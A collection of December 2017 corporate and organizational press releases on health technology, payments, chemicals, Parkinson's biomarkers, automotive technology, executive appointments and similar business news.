Mercy Health is one of the largest nonprofit health systems in the United States with more than 450 health facilities, including 23 hospitals in Ohio and Kentucky. Initially, PatientPing will onboard providers within the Toledo and Cincinnati regions and have already more than 140 skilled nursing facilities joining the platform. Mercy Health expects to cover approximately 200,000 lives with PatientPing's platform. The rollout will occur over the next several months before expanding to additional regions in Ohio and Kentucky.

"We are very excited to partner with Mercy Health to help significantly improve patient care across Ohio, Kentucky and wherever their patients travel," said PatientPing CEO Jay Desai. "Mercy Health is an incredibly innovative anchor healthcare organization in Ohio that we're honored to support and will further expand our community of providers coordinating care."

PatientPing's network includes tens of thousands of providers nationwide. PatientPing is rapidly accelerating its nationwide expansion so that any providers who share patients anywhere in the country can coordinate care with one another.

About Mercy Health

Mercy Health is the largest health system in Ohio and one of the top five employers in the state, with more than 33,500 employees serving communities throughout Ohio and in Kentucky. Mercy Health provided care for patients more than 6.3 million times in 2016. The system includes assets of $6.3 billion and nearly 500 care sites, including 23 hospitals, eight senior living communities, five hospice programs and seven home health agencies. Its clinically integrated network, Mercy Health Select, coordinates more effective and efficient care for more than 200,000 patients, saving money for taxpayers through the Medicare Shared Savings program. In keeping with its mission to improve the health of its communities, Mercy Health provides nearly $1 million per day in community benefit services. For more information, visit www.mercy.com or connect with Mercy Health on Facebook, LinkedIn, Google+, Pinterest and Twitter (@LivingMercyHlth).

About PatientPing

PatientPing is a Boston-based health technology company that is building a national community of engaged providers who are sharing information, coordinating care and working together to get patients healthier faster. By joining the PatientPing community, providers get notified in real-time when their patients receive care elsewhere and are able to share care instructions with other providers. PatientPing's national care coordination community includes physicians, nurses, case managers and care coordinators across hospitals, emergency departments, accountable care organizations (ACOs), physician practices, skilled nursing facilities, home health agencies, inpatient rehabilitation centers, payers and other providers. By connecting care teams through real-time information sharing, PatientPing enables providers to deliver higher quality and more cost-effective care, improving patient outcomes and experience. For more information, please visit www.patientping.com.

SOURCE PatientPing

Related Links

http://www.patientping.com


LONDON, Dec. 18, 2017 /PRNewswire/ -- Payments Landscape in Denmark: Opportunities and Risks to 2021

SummaryDownload the full report: https://www.reportbuyer.com/product/5251042 Danish cards and payments industry is well-developed, and its consumers are prolific users of payment cards. The country has the highest frequency of use in the world, with 210 transactions per card in 2017. As cash use continues to decline, Denmark is increasing its efforts to become a cashless society, backed by government support promoting electronic payments. Danish consumers are very comfortable with payment cards and mobile phones, with Dankort the most commonly used card scheme in the country and MobilePay leading the way in the peer-to-peer (P2P) payment space.

E-commerce posted a review-period compound annual growth rate (CAGR) of over 15% to reach over DKK115bn (about US$16.3bn) in 2017. According to PostNord's E-Commerce in the Nordics report, Denmark has the third-highest percentage of online shoppers in the Nordic region, with over 60% of consumers shopping online at least once a month in 2016. Payment cards and bank transfers remain the preferred payment methods, accounting for about 75% of e-commerce transaction value in 2017. Digital and mobile wallets account for nearly 20%.

Contactless payments are gradually growing in Denmark. The first contactless Dankort was launched in Denmark in 2015. By the end of 2016, more than half of all issued Dankort cards had a contactless feature, and contactless payments accounted for more than 15% of all Dankort payments according to the central bank. Payment providers need to educate consumers on the benefits and advantages of contactless payments, stressing the technology's ease of use and convenience compared to PIN-based cards.

Dankort is the national debit card scheme, accounting for more than 75% of total debit card transaction value in 2017. Dankort operates under a zero interchange fee model, and has dominated the market since its introduction in 1983. Mastercard and Visa are also strengthening their presence in the country. To facilitate international payments using Dankort cards, banks offer the Visa/Dankort co-badged card, which is used as a Dankort card in Denmark and as an international Visa card outside the country.

The report "Payments Landscape in Denmark: Opportunities and Risks to 2021", provide top-level market analysis, information and insights into the Danish cards and payments industry.

In particular, this report provides the following analysis -

- Current and forecast values for each market in the Danish cards and payments industry, including debit, and credit cards.

- Detailed insights into payment instruments including credit transfers, cheques, cash, direct debit, and payment cards. It also, includes an overview of the country's key alternative payment instruments.

- E-commerce market analysis and payment methods.

- Analysis of various market drivers and regulations governing the Danish cards and payments industry.

- Detailed analysis of strategies adopted by banks and other institutions to market debit, and credit cards.

Companies mentioned in this report:Danske Bank, Nordea, Jyske Bank, Sydbank, ArbejdernesLandsbank, Nykredit, SEB, Alm. Brand Bank, BankNordik, Basisbank, The Jutland Sparekasse, Djurslands Bank, Spar Nord Bank, Vestjysk Bank, Mns Bank, Dankort, Visa, Mastercard, and Diners Club

Scope

- To capitalize on the growing preference for alternative payments, in February 2017 Bokis (a collective of 62 Danish banks) launched a digital wallet supporting payments with Mastercard and Visa international debit and credit cards, which was extended to Dankort customers one month later. The Bokis member banks includes local banks, savings banks, and co-operative banks in Denmark, along with four national banks: Sydbank, Spar Nord Bank, Arbejdernes Landsbank, and Nykredit. The NFC mobile wallet uses Nets' host card emulation technology and tokenization to ensure secure contactless mobile transactions. The mobile wallet is compatible with both Android and iPhone devices. More recently, in October 2017 Apple introduced Apple Pay in Denmark, supported by Jyske Bank (Visa debit cards only) and Nordea.

- Contactless payments are gradually gaining traction in Denmark. Danske Bank and Jyske Bank began offering contactless Dankort cards from August 2015. Contactless mobile payments are also expected to gain prominence. Nets entered into an agreement with JCB in April 2016 to allow merchants to accept Dankort debit card payments via smartphones using J/Speedy, JCB's contactless technology. J/Speedy can be used to make contactless payments of up to DKK200 ($28.30), with a security code required for transactions above this amount. Following the agreement, the contactless technology was officially launched in Denmark in November 2017.

- In 2016, a statutory provision mandated that all Danish consumers must have access to payments using payment cards, including online payments. This is part of the Payment Accounts Act, based on EU Directive 2014/92/EU(PAD). An earlier regulation stipulated that banks in Denmark should give retail consumers access to making payments using a debit card with balance controls.

Reasons to buy- Make strategic business decisions, using top-level historic and forecast market data, related to the Danish cards and payments industry and each market within it.- Understand the key market trends and growth opportunities in the Danish cards and payments industry.- Assess the competitive dynamics in the Danish cards and payments industry.- Gain insights into marketing strategies used for various card types in Denmark.- Gain insights into key regulations governing the Danish cards and payments industry.

Download the full report: https://www.reportbuyer.com/product/5251042

About Reportbuyer Reportbuyer is a leading industry intelligence solution that provides all market research reports from top publishers

For more information:

Sarah Smith

Research Advisor at Reportbuyer.com

Email: [email protected]

Tel: +44 208 816 85 48

Website: www.reportbuyer.com

SOURCE ReportBuyer

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THE WOODLANDS, Texas, Dec. 19, 2017 /PRNewswire/ -- Huntsman Corporation (NYSE: HUN) announced today that Peter Huntsman, President and Chief Executive Officer, has been elected Chairman of the Board of Directors of the Company, an additional role he will assume as of January 1, 2018. The Company's founder, Jon M. Huntsman, will be stepping down as Executive Chairman on December 31, 2017 and the role of Executive Chairman will be eliminated. After serving as Executive Chairman of the company he founded 48 years ago, Mr. Huntsman will continue to serve on the Board of Directors as a Director and Chairman Emeritus.

New Chairman of the Board and CEO Peter Huntsman commented:

"I am honored to be taking on this responsibility at a time when the Company has never been stronger and had more opportunities before it. This will be a smooth transition as our founder, my father, will continue in a valuable capacity as a Board member, maintaining vital relations with customers, suppliers, and policy makers as well as sharing his total 56 years of industry experience."

Jon Huntsman, Sr. further commented:

"It's a high honor to turn the chairmanship role over to Peter Huntsman, who I consider to be one of the world's outstanding CEO's. Huntsman Corporation will continue to experience its sound growth and strong financial controls under Peter's experienced oversight. It has been both a great challenge and a special privilege to be chairman for almost half a century."

About Huntsman:

Huntsman Corporation is a publicly traded global manufacturer and marketer of differentiated and specialty chemicals with 2016 revenues of approximately $7 billion. Our chemical products number in the thousands and are sold worldwide to manufacturers serving a broad and diverse range of consumer and industrial end markets. We operate more than 75 manufacturing, R&D and operations facilities in over 30 countries and employ approximately 10,000 associates within our four distinct business divisions. For more information about Huntsman, please visit the company's website at www.huntsman.com.

Social Media:

Twitter: www.twitter.com/Huntsman_Corp

Facebook: www.facebook.com/huntsmancorp

LinkedIn: www.linkedin.com/company/huntsman

Forward-Looking Statements:

Statements in this release that are not historical are forward-looking statements. These statements are based on management's current beliefs and expectations. The forward-looking statements in this release are subject to uncertainty and changes in circumstances and involve risks and uncertainties that may affect the company's operations, markets, products, services, prices and other factors as discussed in the Huntsman companies' filings with the U.S. Securities and Exchange Commission. Significant risks and uncertainties may relate to, but are not limited to, volatile global economic conditions, cyclical and volatile product markets, disruptions in production at manufacturing facilities, reorganization or restructuring of Huntsman's operations, the ability to implement cost reductions and manufacturing optimization improvements in Huntsman businesses, and other financial, economic, competitive, environmental, political, legal, regulatory and technological factors. The company assumes no obligation to provide revisions to any forward-looking statements should circumstances change, except as otherwise required by applicable laws.

SOURCE Huntsman Corporation

Related Links

http://www.huntsman.com


SILICON SLOPES, Utah, Dec. 19, 2017 /PRNewswire/ -- Pluralsight, the enterprise technology learning company, today announced it ranked No. 44 on the third annual Entrepreneur 360, a list of the "Best Entrepreneurial Companies in America." The list comprises 360 companies, in a variety of industries, that have implemented visionary initiatives impacting their communities for the better.

Honorees were chosen based on results from a comprehensive study of privately-owned companies, using a proprietary algorithm and other advanced analytics. The algorithm was built on a balanced scorecard designed to represent and measure the four major pillars of entrepreneurshipimpact, innovation, leadership and growth. Based on this study forged by Entrepreneur, Pluralsight was recognized as being a well-rounded company that has successfully mastered a balance of these four metrics.

Entrepreneur's annual evaluation is a 360-degree analysis of the top privately-owned companies in America. Success is measured by achieving balance throughout the entire organization, predicated by revenue. Organizations represented are real-world case studies for any entrepreneur seeking to master longevity and growth in their business.

Pluralsight's technology learning platform empowers CIOs, CTOs and their teams to gain a competitive edge and succeed in the digital age. With adaptive skills tests, customized learning paths and expert-authored courses, Pluralsight helps enterprises learn and adopt the most critical technologies faster. Organizations around the world, including more than 50 percent of Fortune 500 companies, use Pluralsight to acquire the latest technology skills and deliver on the next big innovations.

To view the complete list of winners, visit www.entrepreneur.com/360.

For more information about Pluralsight, visit pluralsight.com.

About Pluralsight

Pluralsight is an enterprise technology learning platform that delivers a unified, end-to-end learning experience for businesses across the globe. Through a subscription service, companies are empowered to move at the speed of technology, increasing proficiency, innovation and efficiency. Founded in 2004 and trusted by Fortune 500 companies, Pluralsight provides members with on-demand access to a digital ecosystem of learning tools, including Pluralsight IQ, directed learning paths, expert-authored courses, interactive labs and live mentoring. For more information, visit pluralsight.com.

About Entrepreneur Media Inc.

For nearly 40 years, Entrepreneur Media Inc. has been serving the entrepreneurial community providing comprehensive coverage of business and personal success through original content and events. Entrepreneur magazine, Entrepreneur.com, and publishing imprint Entrepreneur Press provide solutions, information, inspiration and education read by millions of entrepreneurs and small business owners worldwide.

Media Contacts

Pluralsight PR

Mariangel Babbel

Director, Communications

[email protected]

SOURCE Pluralsight

Related Links

http://www.pluralsight.com


ALLENTOWN, Pa., Dec. 19, 2017 /PRNewswire/ -- PPL Corporation (NYSE: PPL) has scheduled the company's 2018 annual meeting of shareowners for Wednesday, May 16, 2018. The meeting will be held at the PPL Center, 701 Hamilton St., Allentown. It will begin at 9 a.m. Eastern time.



Headquartered in Allentown, Pa., PPL Corporation (NYSE: PPL) is one of the largest companies in the U.S. utility sector. PPL's seven high-performing, award-winning utilities serve 10 million customers in the U.S. and United Kingdom. With about 13,000 employees, PPL is dedicated to providing exceptional customer service and reliability and delivering superior value for shareowners. To learn more, visit www.pplweb.com.

Note to Editors: Visit our media website at www.pplnewsroom.com for additional news and background about PPL Corporation.

Contacts: For news media: Ryan Hill, 610-774-5997

For financial analysts: Lisa Pammer, 610-774-3316

SOURCE PPL Corporation

Related Links

http://www.pplweb.com


NEW YORK, Dec. 19, 2017 /PRNewswire-USNewswire/ -- The Fox Investigation for New Discovery of Biomarkers (BioFIND)  a cross-sectional, observational study sponsored by The Michael J. Fox Foundation for Parkinson's Research (MJFF)  has profiled Parkinson's-associated protein levels and correlation to clinical experience in findings published online in Movement Disorders earlier this month. This analysis points to associations that could inform subject selection for clinical trials, speeding testing of symptomatic and disease-modifying therapies.

"This report is an important contribution in our efforts to understand and quantify Parkinson's biology to accelerate drug development," said MJFF Senior Vice President of Research Programs Mark Frasier, PhD, an author on the paper. "BioFIND is a partnership between our Foundation, academia, government and  most importantly  research volunteers to measure this disease and the impact of new treatments."

BioFIND is supported in part by the National Institute of Neurological Disorders and Stroke, part of the National Institutes of Health, and led by principal investigator Un Jung Kang, MD, chief of the Division of Movement Disorders at Columbia University. The study collected data and samples from 120 people with moderately advanced Parkinson's disease and 100 control volunteers across eight academic sites in the United States at two points over two weeks.

Study investigators report levels of the protein alpha-synuclein were lower in cerebrospinal fluid among participants with postural instability/gait difficulty phenotype. Levels of beta-amyloid protein  which accumulates into plaques in Alzheimer's disease  were lower in the Parkinson's cohort and correlated to scores on a cognitive recall test (Montreal Cognitive Assessment).

"These associations between protein levels and clinical symptoms can help us select participants for clinical trials. For example, people with lower beta-amyloid may be more likely to develop memory problems and therefore would benefit more from a cognitive therapy. Enrolling this population in trials can help us see a treatment effect more clearly than testing the therapy on people who will not have this symptom," said lead author Jennifer G. Goldman, MD, MS, associate professor at Rush University Medical Center in Chicago.

The study also showed alpha-synuclein levels in plasma and saliva did not differ between people with Parkinson's and control volunteers, and alpha-synuclein did not significantly correlate among biofluids. These are important insights for the ongoing pursuit of accessible biomarker tests to diagnose and track the disease.

Next steps include validation of these findings in the MJFF-sponsored biomarkers study, the Parkinson's Progression Markers Initiative (PPMI), which is following more than 1,500 people with Parkinson's or risk factors and control volunteers over at least five years. Additionally, trials ongoing or launching in the near future could use alpha-synuclein or beta-amyloid levels as exploratory biomarkers in motor symptom or cognition drug trials, respectively.

BioFIND and PPMI make de-identified data and biospecimens available to qualified researchers for additional discovery and validation work toward scientific breakthroughs (read more at michaeljfox.org/dataspecimens).

About The Michael J. Fox Foundation for Parkinson's Research

As the world's largest nonprofit funder of Parkinson's research, The Michael J. Fox Foundation is dedicated to accelerating a cure for Parkinson's disease and improved therapies for those living with the condition today. The Foundation pursues its goals through an aggressively funded, highly targeted research program coupled with active global engagement of scientists, Parkinson's patients, business leaders, clinical trial participants, donors and volunteers. In addition to funding more than $750 million in research to date, the Foundation has fundamentally altered the trajectory of progress toward a cure. Operating at the hub of worldwide Parkinson's research, the Foundation forges groundbreaking collaborations with industry leaders, academic scientists and government research funders; increases the flow of participants into Parkinson's disease clinical trials with its online tool, Fox Trial Finder; promotes Parkinson's awareness through high-profile advocacy, events and outreach; and coordinates the grassroots involvement of thousands of Team Fox members around the world.

For more information, visit us at michaeljfox.org, on Facebook or Twitter.

SOURCE The Michael J. Fox Foundation

Related Links

www.michaeljfox.org


The Company would like to thank the Deloitte team for their services over the past several years. The Company is working closely with Deloitte and PwC to ensure a seamless transition.

Deloitte's report on the Company's consolidated financial statements for the past two years did not contain any adverse opinion or a disclaimer of opinion and was not qualified or modified as to uncertainty, audit scope, or accounting principles. The Company and Deloitte did not have any disagreements on any matter of accounting principles or practices, financial statement disclosure, or auditing scope or procedures that, if not resolved to the satisfaction of Deloitte, would have caused it to make reference to the subject matter of the disagreement in connection with its report on the Company's consolidated financial statements during the two most recent fiscal years and subsequent interim period.

About ReneSola

Founded in 2005, and listed on the New York Stock Exchange in 2008, ReneSola (NYSE: SOL) is an international leading brand of solar project developer and operator. Leveraging its global presence and solid experience in the industry, ReneSola is well positioned to develop green energy projects with attractive return around the world. For more information, please visit www.renesolapower.com.

For investor and media inquiries, please contact:

In China:

ReneSola Ltd

Ms. Rebecca Shen

+86 (21) 6280-9180 x106

[email protected]

The Blueshirt Group Asia

Mr. Gary Dvorchak, CFA

+86 (138) 1079-1480

[email protected]

In the United States:

The Blueshirt Group

Mr. Ralph Fong

+1 (415) 489-2195

[email protected]

SOURCE ReneSola Ltd.
"Year over year, I am awe-struck at the breadth of interesting and relevant subjects that each of our guest speakers share at this symposium," expressed Dr. Michael Brinkenhoff, founder and CEO of RevitaLash Cosmetics. "It's a promising reminder of all the good work being done in the field of breast cancer research, reaching for a cure beyond conventional treatment and looking to the future in a more integrated and holistic approach."

This year's symposium attracted 128 attendees and provided a live-feed webinar for those unable to attend. Following the Keynote Address were six distinguished faculty members, offering exciting research findings. The symposium was accredited for a maximum of 5.75 AMA PRA Category 1 Credits by the City of Hope Department of Continuing Medical Education. Michael Brinkenhoff, M.D. and RevitaLash Cosmetics engaged the City of Hope Continuing Medical Education department in 2016 and have since increased awareness of this program through various efforts.

"The exciting breakthroughs presented at this symposium brought the future of breast cancer treatment, detection and prevention to life," shared Dr. Linda H. Malkas, Deputy Director of Basic Research, City of Hope Comprehensive Cancer Center. "This will impact our research community and we are so grateful for this opportunity given to us by Dr. Michael Brinkenhoff, his Family and Revitalash Cosmetics."

At the heart of the RevitaLash Cosmetics brand are its philanthropic endeavors and commitment to breast cancer research and education. This mission is dear to Dr. Brinkenhoff who attributes the creation of RevitaLash Cosmetics to his wife and Co-Founder, Gayle Brinkenhoff, who was diagnosed with metastatic breast cancer at the age of 32.

About RevitaLash  Cosmetics

Manufactured by Athena Cosmetics, Inc., RevitaLash Cosmetics is a worldwide leader in developing advanced lash, brow and hair beautification products. Established in 2006, the collection which includes award-winning RevitaLash Advanced Eyelash Conditioner and RevitaBrow Advanced Eyebrow Conditioner, are available in over 10,000 physician's offices, spas, salons, and specialty retailers worldwide. A supporter of non-profit breast cancer initiatives, Athena Cosmetics donates a portion of sales proceeds to research and education initiatives, giving back to the breast cancer community. For information, visit www.revitalash.com. [RevitaLash Advanced is not available in California.]

About City of Hope

City of Hope is an independent research and treatment center for cancer, diabetes and other life-threatening diseases. Designated as one of only 47 comprehensive cancer centers, the highest recognition bestowed by the National Cancer Institute, City of Hope is also a founding member of the National Comprehensive Cancer Network, with research and treatment protocols that advance care throughout the world. City of Hope is located in Duarte, California, just northeast of Los Angeles, with community clinics throughout Southern California. It is ranked as one of "America's Best Hospitals" in cancer by U.S. News & World Report.

Founded in 1913, City of Hope is a pioneer in the fields of bone marrow transplantation, diabetes and numerous breakthrough cancer drugs based on technology developed at the institution. For more information about City of Hope, follow us on Facebook, Twitter, YouTube or Instagram.

SOURCE RevitaLash Cosmetics

Related Links

http://www.revitalash.com


WASHINGTON, Dec. 19, 2017 /PRNewswire-USNewswire/ -- Colonel Turki Al-Maliki, the Spokesman for the Coalition Forces to Support Legitimacy in Yemen, announced that today at approximately 1:39 P.M.; the Coalition Air Defense Forces monitored a ballistic missile launched from the Yemeni territories into the Kingdom's territories. The Spokesman highlighted in a statement that the missile was indiscriminately launched towards Riyadh; targeting civilian populated areas. He concluded that the missile was intercepted, south of Riyadh, without any damage or loss of life.

"This hostile and indiscriminate act by the Iranian-backed Houthi militia proves the continued involvement of the Iranian regime in supporting Houthi armed groups with tangible capabilities, which is a clear and blatant defiance of UN Res. 2216 and UN Res. 2231. [These acts] aim to threaten the security of the Kingdom of Saudi Arabia, as well as, regional and international security. Launching ballistic missiles towards populated cities and villages is a violation of international humanitarian law." Col. Al-Maliki added.

Colonel Al-Maliki also called upon the international community to take serious and effective steps to stop the blatant Iranian violations of transferring ballistic weapons to terrorist and rogue groups and to hold Iran accountable for their support and defiance of violating international values.

SOURCE Royal Embassy of Saudi Arabia, Information Office
NAMPA  Idaho Materials and Construction is celebrating 9 million man-hours without a lost-time injury.

I am extremely proud of our team hitting this milestone, General Manager Eric St. Pierre said in a statement. Through teamwork and collaboration, our group continues to make every effort toward a zero-harm culture.

St. Pierre said that this kind of achievement in the construction industry requires a commitment to safety within the organization. Idaho Materials and Constructions safety practices include:

Clearly communicating incidents and safety principals to employees.

Focusing on rewarding employees who are observed setting a good example for company-safety culture.

Asking employees what they suggest the company should do to improve safety.

Utilizing that feedback to create the best approach toward safety training.

Following up on successful results and employee recommendations

Ultimately, we striving for an employee-driven safety culture, St. Pierre said.
STOCKHOLM, Dec. 19, 2017 /PRNewswire/ -- MeaWallet A/S ("MeaWallet"), part of Seamless Distribution AB, has signed an agreement with the Spanish specialized credit institution, Oney Espana ("Oney") for delivery of MeaWallet's proprietary technology for contactless card payments.

The technology will be delivered as a managed service, integrating MeaWallets tokenisation platform with Oneys banking application. The solution will enable Oney's clients to perform contactless card payments through the banks existing banking application. The first phase will be a pilot for a limited number of users and then a second phase with commercial roll-out to all Oney's customers.

The order value of the contract is within the normal range for single card scheme setups provided by MeaWallet, i.e. between 200,000 and 350,000 Euro over a three-year period.

Oney Espana is a Spanish specialized credit institution, providing credit cards and consumer loans. Oney enables retailers to offer their customers more simple, secure, cross-channel and innovative shopping paths. This fits perfectly to the Mea Token Platform for MDES and the rest of the managed services portfolio of products from MeaWallet. Oney Espana is part of the French Oney Bank S.A., operating in 11 countries.

Lars Sandtorv, Head of MeaWallet: - We are proud to deliver the pilot and the production version of Mea Token Platform for MDES to Oney, hopefully only the first of many Oney installations. We are getting good feed-back from the market on our quality of service and business model and are certain that this will appeal to a broad part of the issuers' in 2018.

For more information, please contact:

Martin Schedin, CFO

[email protected]

+46-8-564-878-00



Lars Sandtorv

Head of MeaWallet

[email protected]

+47-909-55-111

This information is information that Seamless Distribution AB (publ) is obliged to make public pursuant to the EU Market Abuse Regulation. This information was submitted for publication, through the agency of the contact person set out above, at 8:50 a.m. CET on December 19, 2017.

About Seamless

Since 2001 Seamless has been providing its proprietary solutions and systems for mobile phone transactions. Seamless operates in two main business areas; mobile phone payment solutions, provided through the brand MeaWallet, and distribution of e-products. www.seamless.se

This information was brought to you by Cision http://news.cision.com

http://news.cision.com/seamless-distribution-ab/r/seamless-delivers-contactless-payment-solution-to-oney-espana,c2417269

The following files are available for download:

http://mb.cision.com/Main/4815/2417269/768752.pdf Press release (PDF)

SOURCE Seamless Distribution AB
Mr. Lish currently serves as Executive Vice President and Chief Security Officer of Alight Solutions, a benefits and administration solutions provider. He oversees and directs all physical and cybersecurity initiatives for the company.

Before Alight Solutions, Jason served as Senior Vice President of Security Technology and Operations for Charles Schwab, where he worked to help strengthen Schwab's security posture and enhance the protection of Schwab's critical assets. Prior to that, Mr. Lish worked as Senior Director of Cybersecurity Operations for Honeywell and as a Systems Analyst for the United States Air Force.

"We are honored to have a security professional of Jason's caliber and reputation on our advisory board," said Jeff Capone, SecureCircle co-founder and CEO. "We look forward to his insight and guidance as we work to solve critical data security issues for our clients."

"I am excited to be part of the SecureCircle team and help address a huge gap in the data protection space," said Mr. Lish. "There are dozens of solutions for unstructured data protection, but none that have taken a non-intrusive approach to offer the right level of protection end-to-end like SecureCircle. With company perimeters becoming more porous and relying on complex supply chains and cloud services, it's more important than ever to secure data at the source. SecureCircle is uniquely positioned to help organizations address this issue and enable them to be more productive while meeting regulatory requirements and reducing data loss risk."

For more information on SecureCircle's advisory board, visit www.securecircle.com.

About SecureCircle

SecureCircle was founded in 2015 to help solve pressing industry challenges in cybersecurity. Its patent-pending Transparent File Encryption solution helps organizations ensure the security, visibility and control of unstructured data from internal and external threats, regardless of format or storage location. Unlike existing technologies, SecureCircle provides a completely transparent solution which is always encrypted, trackable, and retractable, helping organizations to effectively secure data in today's cloud-first environment. SecureCircle helps companies within healthcare, finance, manufacturing, pharma, media, and government organizations meet data security and compliance requirements. Learn more at SecureCircle.com or follow us on Twitter and LinkedIn.

Press Contact:

Brooks Wallace, Hollywood Agency

[email protected]

SOURCE SecureCircle

Related Links

http://www.securecircle.com


BOSTON and LAS VEGAS, Dec. 19, 2017 /PRNewswire/ -- Seniorlink Inc., a tech-enabled health services company, today announced that President and CEO Thomas Riley, will speak at the Digital Health Summit on January 11, 2018 in Las Vegas.

At the event, Mr. Riley will speak on a panel called, "Meet the Transformers in Digital Health" alongside Dr. Zubin Eapen, Chief Medical Officer of CareMore, and Dr. Reena L. Pande, Chief Medical Officer of AbleTo Inc. The panel will be moderated by Alfred Poor, Editor of Health Tech Insider, a website devoted to wearable and mobile products and services that address digital health issues, and the innovative technologies that support such devices.

The panel brings together leaders from businesses across the care continuum, with diverse perspectives ranging from that of a provider of care collaboration solutions, to a unique primary care model and behavioral health services. The companies selected for the panel are united by a mission to find new ways to improve outcomes and quality while reducing costs for the overall healthcare system.

"At Seniorlink we are taking part in the monumental shift to value-based care, and our approaches to care collaboration are leading to improved outcomes while simultaneously reducing healthcare costs," said Mr. Riley of Seniorlink. "I'm thrilled to be able to share ideas and insights from our work alongside some of the best and brightest innovators in our industry."

For almost a decade, the Digital Health Summit has showcased the latest innovations in digital health. Over the four-day conference, attendees learn from top digital health leaders from across the globe.

The Digital Health Summit is co-located with the Consumer Technology Association (CES) to bring together top healthcare and technology leaders to connect in one space. The conference takes place in Las Vegas, Nevada at the Venetian from January 9-12, 2018. To learn more, visit http://digitalhealthsummit.com/.

About Seniorlink, Inc.

Seniorlink is a tech-enabled health services company that builds care collaboration solutions. The company serves patients and caregivers by partnering with risk-bearing provider and payer organizations to augment existing care management capabilities through solutions that leverage human touch and technology. Seniorlink's team of compassionate, experienced professionals uses a proprietary platform, Vela, to encourage real-time collaboration among the extended care team that results in better outcomes at a lower cost. Backed by nearly two decades of care expertise, Seniorlink leads the way on delivering high quality care. Seniorlink's Caregiver Homes Network is the first Home and Community Based Services (HCBS) provider in the U.S. to receive NCQA Case Management Accreditation with Long Term Services and Support Distinction. More information about Seniorlink can be found at www.seniorlink.com.

CONTACT: Christine Dunn, ArcPoint Strategy, 617-314-6441 ext. 101

SOURCE Seniorlink Inc.

Related Links

http://www.seniorlink.com


For consumers and automakers eager to "sense what's coming" in vehicle technology, Magneti Marelli will display a wide range of smart, streamlined, high-tech and safe solutions during CES 2018, January 9-12 in Las Vegas. At its 6,000-square-foot exhibit area in Latour 5-7 at the Wynn Hotel, Magneti Marelli will showcase its market-ready technologies in electronics, automotive lighting, and alternative powertrain, with a focus on autonomous driving, advanced HMI, connectivity and hybrid/electric mobility.

(Logo: http://photos.prnewswire.com/prnh/20150122/726967 )



Magneti Marelli's solutions uniquely address three areas of the car that are changing rapidly. Booth visitors can see first-hand the technology that will enable vehicles to: sense and connect with what's around them, display critical feedback to drivers and passengers, and meet stringent environmental and safety requirements.

"Our leadership in automotive technology helps OEMs bridge the gap as the industry evolves; we provide solutions for the vehicles of today and the car of tomorrow," said Pietro Gorlier, CEO of Magneti Marelli. "Our ability to collaborate across business lines, and integrate multiple vehicle technologies to deliver a super user experience is a distinctive asset."

Smart Corner helps light the way to autonomous driving

Building on its recent investment in solid-state LiDAR company LeddarTech, Magneti Marelli has integrated a camera, radar and LiDAR into advanced projector headlamps and tail lamps to produce the fully functional Smart Corner, which will be on display in a production vehicle. Experts from LeddarTech will be available in the booth to demonstrate their latest solid-state LiDAR technology, and the company is hosting the Leddar Ecosystem Pavilion at the show, located outside at Tech East, CP-23.

Smart Corner enables automotive designers to incorporate advanced lighting and sensor systems while enhancing styling aesthetics and world-class performance. It reduces weight, cost, and eliminates the need for separate packaging, wiring and connectors on the vehicle exterior.

Magneti Marelli's booth will feature a value-added selection of lighting modules, headlamps and tail lamps. The company is focusing its efforts on developing chip-mounted LED solutions to address the needs of all vehicle segments. Booth visitors can see everything from a small, scalable module providing increased functionality within tight space constraints, to a high resolution, 84 pixel ADB module.

Laser and double projection headlamps will be on display, along with an all-LED tail lamp and an OLED tail lamp prototype.

Advanced Human Machine Interface (HMI) Displays

Magneti Marelli will feature a variety of displays, ranging from low-cost designs to a full door-to-door display with controlled content distribution. The company's Portal Showcase provides content for everyone in the vehicle, incorporates AMOLED (active-matrix organic light-emitting diode) technology, and a thin 1.5mm thick display bonded to a curved surface.

Analog, hybrid and full digital instrument clusters can also be seen in the booth.

Vehicle-to-everything (V2X) communication promotes safety

V2X technology can prevent 80 percent of all accidents for unimpaired drivers, according to the U.S. Department of Transportation, by alerting them to dangers that conventional onboard equipment cannot detect. Magneti Marelli's V2X solutions expertly integrate driver warnings within the HMI, displaying them in the instrument cluster or center stack.

Booth visitors will see how the company seamlessly integrates V2X into the HMI of a current production cluster, as well as proven use cases for vehicle-to-infrastructure, vehicle-to-pedestrian, and vehicle-to-vehicle technology.

Alternative powertrain solutions for mild hybrid and electric driving

Magneti Marelli's industry-leading traditional and alternative powertrain solutions are derived from nearly 100 years of experience in motorsports. Proven in the harsh conditions of Formula One racing worldwide, the company's systems are adapted to meet the needs of the commercial vehicle market. One of the most novel outcomes, which will be on display at CES, is a mild hybrid 48 volt belt starter generator (BSG), an electric motor with integrated electronics that replaces a standard alternator. The BSG recuperates energy from braking, driving it back to power the internal combustion engine (ICE) and electrical systems.

Coming in at 400 volts, Magneti Marelli's power inverter module (PIM), supports medium range electric mode driving, up to 30 miles or more on a single charge. It is built to withstand harsh vehicle underhood requirements, such as high temperature and vibration, which is difficult to achieve with integrated power electronics all within a class-leading envelope.

Magneti Marelli designs and produces advanced systems and components for the automotive industry. With 86 production units, 14 R&D centres in 21 countries, approximately 43,000 employees and a turnover of 7.9 billion Euro in 2016, the group supplies all the major carmakers in Europe, North and South America and the Asia Pacific region. The business areas include Electronic Systems, Lighting, Powertrain, Suspension and Shock Absorbing Systems, Exhaust Systems, Aftermarket Parts & Services, Plastic Components and Modules, Motorsport. Magneti Marelli is part of FCA.

Milan-Auburn Hills, 18th December 2017

Follow Magneti Marelli on:

Company Website: http://www.magnetimarelli.com

Facebook: http://www.facebook.com/MagnetiMarelliTechAndRacing

Instagram: http://www.instagram.com/magnetimarellit

Linkedin: http://www.linkedin.com/company/magneti-marelli

Twitter: http://www.twitter.com/magnetimarellit

YouTube: http://www.youtube.com/user/MagnetiOfficial

WeChat: QR on http://www.magnetimarelli.com.cn

Weibo: http://www.weibo.com/u/5582153639

Youku: i.youku.com/magnetimarelli

Iquyi: http://www.iqiyi.com/u/1163676930

SOURCE Magneti Marelli S.p.A.
PHILADELPHIA, Dec. 19, 2017 /PRNewswire/ -- Berger & Montague, P.C. announced today that the Securities and Exchange Commission ("SEC"), accused Behavioral Recognition Systems Inc. ("BRS" or the "Company") and its ex-CEO, Ray C. Davis ("Davis") (collectively, "Defendants"), of federal securities law violations in an action filed in the U.S. District Court for the Southern District of Texas. The SEC lawsuit was filed on behalf of investors who purchased or otherwise acquired BRS securities between January 2013 and July 2015.

